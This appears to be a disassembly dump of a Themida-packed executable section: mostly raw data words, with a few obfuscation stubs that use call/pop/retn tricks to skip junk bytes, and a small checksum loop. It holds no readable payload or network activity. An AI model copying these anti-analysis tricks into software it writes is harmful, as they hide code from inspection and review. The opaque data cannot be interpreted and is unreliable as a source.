dd 61200h, 4D3840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 65F965C3h, 11BD83h, 0F010612h
dd 4C384h, 0D59D8B00h, 83061214h, 120011BDh, 860F0306h
dd 47Ah, 13A5BD89h, 6A600612h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 1E8FC355h, 8E86EF4h
dd 6D000000h, 7146120Dh, 0E92B69DBh, 13h, 311D1C5Eh, 0C8ECCB78h
dd 50C17CFDh, 399FB2FAh, 5F60F7B5h, 6AD98C66h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 6FF9C356h, 0F606828h, 0B589FBBFh, 612277Dh, 0C3816661h
dd 0E180EAB5h, 5E804h, 0B04D0000h, 0E9BA1C6Dh, 7, 8EA4E512h
dd 5FB5B76Fh, 840FC90Ah, 0FDh, 858BDE8Bh, 61224CDh, 118D8529h
dd 85330612h, 612248Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 49C35646h, 0ADBED4F2h, 0B58919E3h, 612249Dh
dd 18BB6650h, 24048938h, 400C98BFh, 6A006A14h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 64FEC353h, 8094C556h, 68860D99h, 7D93875h, 80BB6657h
dd 34815B2Ah, 0C63B8A24h, 0E59D8B07h, 0FF061220h, 12303195h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 0A31633E7h, 8E923h, 73020000h, 656B5238h
dd 8589F8F2h, 615BD0Ch, 8C19D8Bh, 0A3E90612h, 6A000002h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 8B7FC357h, 0DA8B66D8h, 5E96053h, 0EE000000h
dd 0AB183E06h, 61FAB70Fh, 4858B5Bh, 8B0615BDh, 1213E1BDh
dd 1800C706h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 0B714C356h, 4F72BB40h
dd 0E98A4FA6h, 7, 0B4B24161h, 8B367B4Bh, 15BD08B5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 3788A776h, 0A769BF87h, 99858B05h, 6A061223h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 87F2C356h, 0F90F530h, 682h, 598D8900h, 0E906120Ch, 0Ah
dd 0D6691C6Ah, 0FA881487h, 6893CBAh, 19BD8529h, 858B0612h
dd 61224CDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 0CCC35242h, 910F1B0Dh, 158DB7B7h, 10E85360h, 9D000000h
dd 2EC638F7h, 936CEED6h, 0B2A13AAFh, 5838AC54h, 12E8535Ah
dd 5D000000h, 602DA7C1h, 0CC0308Ch, 35038AC6h, 8BB0FBB7h
dd 6158583Fh, 6A044689h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 6B3EC355h, 0DF894861h
dd 8E8h, 0D6C5000h, 0D72E09BBh, 13E85Fh, 517F0000h, 29DB313Eh
dd 0CA151033h, 7A47DBD7h, 0AF522E0h, 0E5BD8BC1h, 5F061227h
dd 0D3BF505Fh, 895DDBC1h, 8D292434h, 612291Dh, 0BD04B5FFh
dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 5D8038C3h, 42DD68E6h, 12E8E152h, 19000000h
dd 0FFA73326h, 409266E1h, 0E3F93BCCh, 8C1FB685h, 11E9A1h
dd 12C0000h, 46B41F2Eh, 67B0C733h, 799AEA8Ah, 5F2DB6B3h
dd 22240481h, 0E81ECCC1h, 0Dh, 0EB819151h, 0CCF69BB0h
dd 9A49C411h, 5FD98BA6h, 0BD0C858Dh, 6A0615h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 90F607C3h
dd 9D295E21h, 6123251h, 0DE990h, 0D9E60000h, 9067661Ch
dd 0D6D68688h, 5096FFE6h, 11830Fh, 0E8570000h, 9, 731960C0h
dd 2BB9BA79h, 905B5F1Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 46C35545h, 0FC61A8BCh, 303195FFh, 89600612h
dd 1200C5BDh, 61F78B06h, 0F861F98Bh, 1185C7h, 30612h, 0BD0B0000h
dd 6121581h, 7FDBD8Bh, 0BD830612h, 615BD0Ch, 47840F00h
dd 0E9000000h, 13h, 0A1232AF3h, 0C0FFC0B9h, 0BB5A8405h
dd 187931ACh, 0E933C9DCh, 45h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 0CCC35040h, 84CBD04Fh, 0B928D6D0h
dd 27018D31h, 30500612h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 31A1D210h, 121B15B5h
dd 0A6DABB06h, 6A4829h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 8DECFEC3h, 15520AECh, 820F4614h
dd 6, 26259D8Bh, 800F0612h, 6, 27DBD23h, 0BD830612h, 6120011h
dd 0CA850F03h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 5C9DC352h, 0CBD8312h
dd 615BDh, 39F840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 9EFAA4C3h, 0B4545A0Fh
dd 8BCC6565h, 0CB5FFDEh, 660615BDh, 0DAB2EB81h, 202995FFh
dd 9D8B0612h, 6121CF1h, 0BD00B58Bh, 12E90615h, 9B000000h
dd 7BA9D0DDh, 2A467D8Ch, 4E014CF8h, 0E27EE82Bh, 106C769h
dd 29000100h, 12336D95h, 0BB509606h, 2F95CD93h, 0BDBD0B96h
dd 0FF06122Dh, 15BD0CB5h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 53CBAEF4h
dd 8E9h, 325CBD00h, 0DD0B1593h, 95FF5FC0h, 6121AE1h, 0BD00B58Bh
dd 0FF80615h, 68Ch, 598D8900h
dd 8B061226h, 12303985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 0BD8B4275h, 6122145h
dd 0C48689h, 0D88B0000h, 264D9D8Bh, 958B0612h, 6122DCDh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A9C35646h
dd 702AFCBh, 418EDED2h, 4FEBBB66h, 0CE960h, 183C0000h
dd 0AEBF9649h, 0E2844D1Ch, 0B589AC67h, 612268Dh, 4C28361h
dd 0C65BD03h, 50890612h, 51006A20h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 31DF0B9Fh, 6670348Ah
dd 8B891FBFh, 1213919Dh, 0EA858D06h, 6A0615D0h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 6051C352h, 460F580h, 7E26BF66h, 28459D8Bh, 86890612h
dd 0B8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 0F4C35747h, 0DABF6651h, 6A5F04h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Ch, 51C35343h, 16FCFB83h
dd 0A044C486h, 1A959D33h, 0B5FF0612h, 615BD0Ch, 2CD595FFh
dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 9D9627C3h, 0E00B3284h, 59BD8B8Dh, 8B061221h
dd 1227959Dh, 77BF9606h, 5037D0FDh, 51006A96h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 43D987C1h
dd 47A0DDABh, 0B5FFA9E9h, 615BD0Ch, 2995FFF9h, 6A06122Eh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 0BF7CC356h, 3976AFFFh, 83F88B66h, 121189BDh
dd 840F0006h, 21h, 0E950D88Bh, 10h, 6AA2567Bh, 26198D93h
dd 0E1FFA733h, 0CC409266h, 8B243489h, 120445BDh, 0CB5FF06h
dd 8B0615BDh, 1217ED9Dh, 0A595FF06h, 0FF06122Ah, 15BD0CB5h
dd 0C820F06h, 0F000000h, 689h, 459D8900h, 0FF061224h, 121BB195h
dd 45858906h, 83061221h, 122A41BDh, 840F0206h, 60h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C7C35242h, 0C08A452Eh
dd 0CC1331E6h, 0A9858B1Ch, 6A061218h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 3E33C350h
dd 0B7D5D523h, 0BD239F9Bh, 612043Dh, 890000C6h, 120EBDBDh
dd 0DE8B6606h, 30185C7h, 612h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 1BE13AC3h
dd 0BBFB2023h, 41BD8B2Fh, 8B06120Bh, 1229619Dh, 0F28AE906h
dd 8A0FFFFFh, 6, 27898529h, 0C18B0612h, 1661BD8Bh, 858D0612h
dd 6120065h, 50F98B66h, 0E14AD0BFh, 2404897Fh, 32B9BD29h
dd 6A0612h, 32C59D8Bh, 6A0612h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 8C35545h, 0BAD0F86Eh, 8B2A115Ah
dd 12215DBDh, 13858D06h, 660616C7h, 2348D381h, 8B05C083h
dd 122C21BDh, 11E85006h, 0DA000000h, 85D9F132h, 4AEADA84h
dd 4E443A78h, 454D8FF0h, 2404895Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 0E2C35141h, 2B580D03h, 6E9006Ah
dd 76000000h, 6F47F624h, 0B006AF6h, 12002D9Dh, 5595FF06h
dd 0E906120Bh, 0Dh, 11463201h, 7483FFEh, 0F733F638h, 0CA8D8D7Eh
dd 8906159Bh, 12322D95h, 6AD1FF06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 4B0FC355h
dd 699C11D4h, 2A55BD8Bh, 9D8B0612h, 612008Dh, 0EE9BD83h
dd 0F010612h, 5885h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 8B47413Ch, 0FB8B66DAh
dd 0F5BF026Ah, 5075BB6Fh, 4897EB7h, 53006A24h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0D595FF11h
dd 8906122Ch, 122929B5h, 0E49E906h, 0E80000h, 5D000000h
dd 0C71DED81h, 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 81090C3h, 0B70A6C77h, 13E9FCh, 6BED0000h
dd 0D047E12Eh, 78B4A933h, 19A60174h, 0B54C2C09h, 8F858D2Ch
dd 6A061596h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 2BF8C355h, 0C0B794E2h, 9E9788Dh
dd 89000000h, 0CD1B9B43h, 0E290214Ah, 88BF6690h, 6A905098h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0B3BFC356h, 840F87BCh, 2, 0FF64D88Bh, 35h
dd 0D58D8900h, 6406121Ch, 2589h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6EEBA7C3h
dd 4B532F79h, 312D9EE8h, 1227918Dh, 7888BF06h, 85FF6C10h
dd 6121235h, 12E9h, 49CD8800h, 335ACC31h, 0E759251Bh, 41FCBC5Ah
dd 0BFF86B07h, 3BB5A226h, 9589FF6Ah, 61210E1h, 2D79B5FFh
dd 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 6A08CDC3h, 8B666041h, 0E18589C8h, 61061230h
dd 147595FFh, 30E90612h, 89000001h, 12213D95h, 6000B006h
dd 5810Fh, 0BDB90000h, 89191F2Eh, 121B698Dh, 70E66106h
dd 281D9D29h, 0BF0F0612h, 0E871E4FFh, 12h, 7F8CBD73h, 0FAD41E6Fh
dd 0A4D0022Eh, 0A7C958CBh, 0F98A1FA5h, 0F613C5Bh, 0E683h
dd 0FF88A00h, 9589C8B6h, 61210EDh, 6BAh, 48A0F00h, 66000000h
dd 8B1F89BBh, 798589C1h, 0C1061225h, 0BD2904E8h, 6121725h
dd 0C35B501h, 0F7660612h, 0FE9E2h, 6E90000h, 81BBC537h
dd 8A5E14EDh, 72FB698Bh, 8BC82B8Fh, 21BD8BD1h, 0E9061223h
dd 8Fh, 0DFCF8166h, 1858B06h, 1000000h, 12339985h, 7C08306h
dd 12E952h, 0E3C0000h, 594A5561h, 0AFFAB7FEh, 84685A7Bh
dd 0F21B4A1Fh, 0C0835Fh, 10E8h, 745FC600h, 22EA62EEh, 82DA6C67h
dd 6DD22492h, 19BD2336h, 5F061224h, 830FD03Bh, 0Bh, 36E9h
dd 0F5958900h, 8B061233h, 0FFFFFF8Dh, 1E183FFh, 21840Fh
dd 9D8B0000h, 612326Dh, 0FFFFA583h, 8BFEFFFFh, 122A0D9Dh
dd 1958906h, 0F000000h, 0E9F8B7h, 8D000000h, 1645E8B5h
dd 0EE906h, 0A69A0000h, 61F8D5ECh, 4169811Fh, 2A278FEAh
dd 9ACB060h, 122CA58Dh, 6A6106h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 66C35646h, 3EDA0068h, 0FEBF0F84h
dd 29D195FFh, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 0B9244FC3h, 9CB97CEDh, 8900000Fh
dd 121B75BDh, 0FCE18306h, 2DE59D0Bh, 66FC0612h, 0B846E4BBh
dd 0
; ---------------------------------------------------------------------------
mov [ebp+6122655h], ebx
sub edx, edx
push 0
push eax
call sub_5C8517
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8517 proc near ; CODE XREF: Themida_:005C850Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5C8517 endp
; ---------------------------------------------------------------------------
mov ebx, 0C8927E18h
rol dword ptr [ebx-7A762175h], cl
lodsd
adc al, es:[esi]
loc_5C8536: ; CODE XREF: Themida_:005C8540j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5C8536
movzx ebx, ax
push 0
push eax
call sub_5C8550
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8550 proc near ; CODE XREF: Themida_:005C8548p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5C8550 endp
; ---------------------------------------------------------------------------
dd 0AB6A6A63h, 667CE3BAh, 0C2ABC381h, 2A0DB509h, 880D0612h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 0E11FC357h, 0B8F6FF06h, 2AE0D31h
dd 0C890Fh, 800F0000h, 6, 8E0Fh, 958B0000h, 6122DCDh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 39C35040h, 90A4B758h
dd 61852952h, 5B061216h, 31BD8D8Bh, 0DA8B0612h, 8BC28B50h
dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 47DE7DC3h
dd 541A94C7h, 280D9D89h, 81660612h, 66487DEFh, 0BF51F88Bh
dd 46AE4EC2h, 19BD835Bh, 61214h, 67840Fh, 1DBB0000h, 0B86655B5h
dd 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5C864F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C864F proc near ; CODE XREF: Themida_:005C8647p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5C864F endp
; ---------------------------------------------------------------------------
db 79h
dd 2EA8A3D5h, 81664840h, 0F4E87C3h, 178Ah, 0FE85300h, 0D0000000h
dd 733332BCh, 25330CFBh, 299B5921h, 5B5BDFF3h, 429BD8Bh
dd 8D8D0612h, 6124E4Bh, 8DB8166h, 8BE1FF85h, 122FEDBDh
dd 11BD8306h, 61200h, 49A840Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 96CCCC3h
dd 14DB1F9h, 12114195h, 3800F06h, 66000000h, 0BD83FA8Bh
dd 6120011h, 78840F01h, 2B000004h, 1210659Dh, 11BD8306h
dd 3061200h, 42F860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 17A79BC3h, 0F779E638h
dd 0F7816674h, 3604048h, 1221419Dh, 0D98C6606h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 3AC35747h, 80D8BF0Fh
dd 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 845523C3h, 0C90A5DAAh, 1A8840Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0E3B157C3h, 0D6F3EA3Dh, 0B9958960h, 8B06121Bh, 121709B5h
dd 81666106h, 8BC51AF7h, 1224CD85h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 0D351FAB9h
dd 13E9505Ah, 0B3000000h, 0E1C5E5FDh, 0AF8EE42Ch, 2BDFE50Fh
dd 44DEE88Bh, 0BD897122h, 61233F5h, 248D8533h, 6A0612h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 860F90C3h, 0
; ---------------------------------------------------------------------------
mov edi, [ebp+6120875h]
nop
mov ebx, 319EF698h
push eax
jmp loc_5C883F
; ---------------------------------------------------------------------------
dw 0D2B0h
dd 0E3EC9401h, 2D4CC4CEh, 0AE84C9A7h
db 0DBh, 0ACh, 51h
; ---------------------------------------------------------------------------
loc_5C883F: ; CODE XREF: Themida_:005C8829j
nop
add di, 0B4Bh
push 0
push 0
push ebp
call sub_5C8852
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8852 proc near ; CODE XREF: Themida_:005C884Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5C8852 endp
; ---------------------------------------------------------------------------
dw 149Fh
dd 4E8D600h, 0FF000000h, 60001F03h, 0E8F38B66h, 13h, 56411DECh
dd 11825318h, 3ECFFC22h, 0C74B40A7h, 5059B4D8h, 5A310F52h
dd 50615F58h, 448B6160h, 0DA8B0424h, 7E8008Bh, 4F000000h
dd 1C7B9926h, 0D98B9288h, 2444895Fh, 870F5604h, 5, 0F0B04EBBh
dd 66585B76h, 0FF6830BFh, 12303195h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 4D3EB516h
dd 95898D7Eh, 6122785h, 0BD0C8589h, 6A0615h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8166FDC3h
dd 0E9F7F0C3h, 1D5h, 1AB18529h, 858B0612h, 615BD04h, 0FE8h
dd 0DA3CF900h, 85D9F132h, 4AEADA84h, 4E443A78h, 0C99D8B57h
dd 5F061226h, 1800C75Fh, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 67C4C353h
dd 0D98AD4AEh, 9DD7ECE8h, 0BD08B58Bh, 6A0615h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0DF91E7C3h, 0D4693A27h, 810FC42Fh, 6, 18099D8Bh, 4CBF0612h
dd 8B666CBEh, 12239985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 0BBF590Dh, 1A8A0FBFh
dd 0E8000000h, 0Fh, 771B9590h, 0D9BFB729h, 2CD9968Bh, 66FD51FCh
dd 1755CB81h, 1D9D8B5Bh, 89061217h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0CD858B9Eh
dd 81061224h, 912841EFh, 446895Eh, 327DBD8Bh, 0BB960612h
dd 20484662h, 64B4BB50h, 8B967D2Dh, 4B5FFFAh, 890615BDh
dd 1212859Dh, 4E806h, 3FF0000h, 5250001Fh, 0DE9h, 0EEBABC00h
dd 3E3F8488h, 23FD3917h, 310F0D62h, 10E9h, 0F83FEE00h
dd 4B3878Bh, 6EC867CEh, 38179B8h, 50585A7Ah, 9E8h, 902C4D00h
dd 4814C7C7h, 0E851C142h, 7, 2F17C4A7h, 5B3476E1h, 448B5B5Fh
dd 0F98B0424h, 6660008Bh, 8961D88Bh, 60042444h, 13BA5B51h
dd 61164569h, 0CD9D8B58h, 8B06121Fh, 0C858DDEh, 0F0615BDh
dd 0BF50D8BFh, 370DDDA7h, 89240489h, 12236185h, 3195FF06h
dd 0E9061230h, 0Bh, 0CC9857AFh, 0D50490F3h, 29ECC100h
dd 122D55B5h, 810F6106h, 4, 677DBF66h, 1185C7h, 30612h
dd 890F0000h, 6, 23D99D89h, 0BD830612h, 615BD0Ch, 0E840F00h
dd 66000000h, 21E9D88Bh, 89000000h, 122121BDh, 0C305006h
dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0CC35646h, 6DC96EBBh
dd 8B2265DBh, 1231C1BDh, 11BD8306h, 3061200h, 456850Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 0BE162C3h, 121DF1BDh, 99BD8B06h, 8306121Bh
dd 15BD0CBDh, 840F0006h, 420h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 0ADC35646h, 40F4E831h, 993B2CDEh
dd 0D88B6657h, 0CB5FF5Fh, 10615BDh, 12179DB5h, 2995FF06h
dd 31061220h, 1212219Dh, 0B58B06h, 0F0615BDh, 6C7FBBFh
dd 10001h, 1A69B501h, 66960612h, 5075C3BFh, 0DE8h, 42725400h
dd 8AC75DD3h, 1649984Ah, 52505869h, 65CA5EBFh, 66310F3Bh
dd 5AA6FCBBh, 6A965B58h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 1092C357h, 0E9C2979Ah
dd 14h, 6BA8B6B4h, 0E887DA5Bh, 0DCBA1AFAh, 0CAE837D3h
dd 4EDFE28Ch, 0BD0CB5FFh, 0FE8B0615h, 1AE195FFh, 6A0612h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0E63F7CC3h, 0DF8166C6h, 0B58B2296h, 615BD00h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0C5C35040h, 0B719DCC8h
dd 0DE8BFEAFh, 3039858Bh, 8B660612h, 89CDB7FEh, 0C486h
dd 5B58900h, 8B061231h, 122DCD95h, 6E906h, 93E90000h, 0ED73CD3Ah
dd 17870Fh, 0FE80000h, 6D000000h, 0C13D989Eh, 960EEB07h
dd 0AF98D0A6h, 616001E9h, 4C2835Bh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 4C35242h, 20A38DCDh, 0AE8h
dd 0EEE97200h, 22F619BDh, 5B1CE73Bh, 158531h, 50890612h
dd 29F86020h, 122A198Dh, 858D6106h, 615D0EAh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 9CC35242h, 61C232C5h
dd 8EE85B81h, 0FABF0FEBh, 0B88689h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 3E4F9AC3h
dd 8B669327h, 1006AFBh, 122611B5h, 0CB5FF06h, 660615BDh
dd 95FFD88Bh, 6122CD5h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 3C35141h, 89B32DA0h, 1228A18Dh, 0B5609606h
dd 97BA664Bh, 8A50612Bh, 6A96DDh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 29F21CC3h, 1800FA4h
dd 0F9000000h, 0BD0CB5FFh, 6A0615h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 685E42C3h
dd 68EFC268h, 0FCC19C3h, 686h, 0BD952900h, 0FF06121Ch
dd 122E2995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 6591CD40h, 2E28B5B0h, 0BF0F1AC0h
dd 89BD83DFh, 61211h, 36840Fh, 0B70F0000h, 0DDB796DBh
dd 0CE950h, 14F10000h, 0F7D59542h, 0E7E39300h, 6A9681F4h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 4DB0C356h, 0BD0CB5FFh, 0DB810615h, 5F1517B1h
dd 2AA595FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 29B9CC3h, 0CB5FFBBh, 6A0615BDh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 3FD4C356h, 0CB93A8CEh, 95FFD3F9h, 6121BB1h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0ADC35040h
dd 8BB3E298h, 1217499Dh, 41BD8306h, 206122Ah, 54840Fh
dd 858B0000h, 61218A9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 21C35343h, 7B00CFFEh, 1A69BD8Bh, 890F0612h
dd 1, 0C6F5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 40C35141h, 85C77078h, 6120301h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5C8FF3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8FF3 proc near ; CODE XREF: Themida_:005C8FEBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5C8FF3 endp
; ---------------------------------------------------------------------------
db 81h
dd 9D8B2AA4h, 6120329h, 0FFF2F3E9h, 52006AFFh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 8F2D8406h
dd 4C8AF9A0h, 8BF8F9BBh, 8DF98AC1h, 12006585h, 998D2906h
dd 50061215h, 48964B3h, 0DBBF0F24h, 6A006Ah, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0CB7CFFC3h
dd 30D942F0h, 0DE93357h, 3E000000h, 6F128CDAh, 770545CBh
dd 8FC1F563h, 8589006Ah, 61217E1h, 0D737858Dh, 6A0616h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0FEE3DCC3h, 8B663119h, 5C083DFh, 2A658D89h, 50900612h
dd 15840Fh, 10E90000h, 98000000h, 3ED2A770h, 0AE380F4Ch
dd 95337C87h, 90D5B97Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0C7C35646h, 8B59B4D8h, 6A006AD9h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 281FF282h, 0A5BD2BB8h, 8906120Ch, 1228D9B5h, 5595FF06h
dd 6A06120Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 6FBAC355h, 0F6E41423h, 5C350607h
dd 3810Fh, 0B70F0000h, 0DF8151D8h, 1280B399h, 0CA8D8D5Fh
dd 6A06159Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 5D52C352h, 0FA7DDB0h, 0D1FFDBBFh
dd 0FEBF0F50h, 0E9BD835Fh, 106120Eh, 67850Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 6ACEDCC3h, 0C7816602h, 5090E69Eh, 205CE8BFh, 0EE9901Eh
dd 93000000h, 0E033791Ah, 0FAB89965h, 6594684Ah, 0D595FF05h
dd 6A06122Ch, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 14042444h, 45000000h, 2933C355h, 12296DB5h, 0D9AE906h
dd 0E80000h, 5D000000h, 0D741ED81h, 6A0616h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 8DFC6BC3h
dd 15968F85h, 2830F06h, 8B000000h, 0BB6650D9h, 489FE9Eh
dd 0CB816624h, 0FF647032h, 35h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0A9BCFD88h
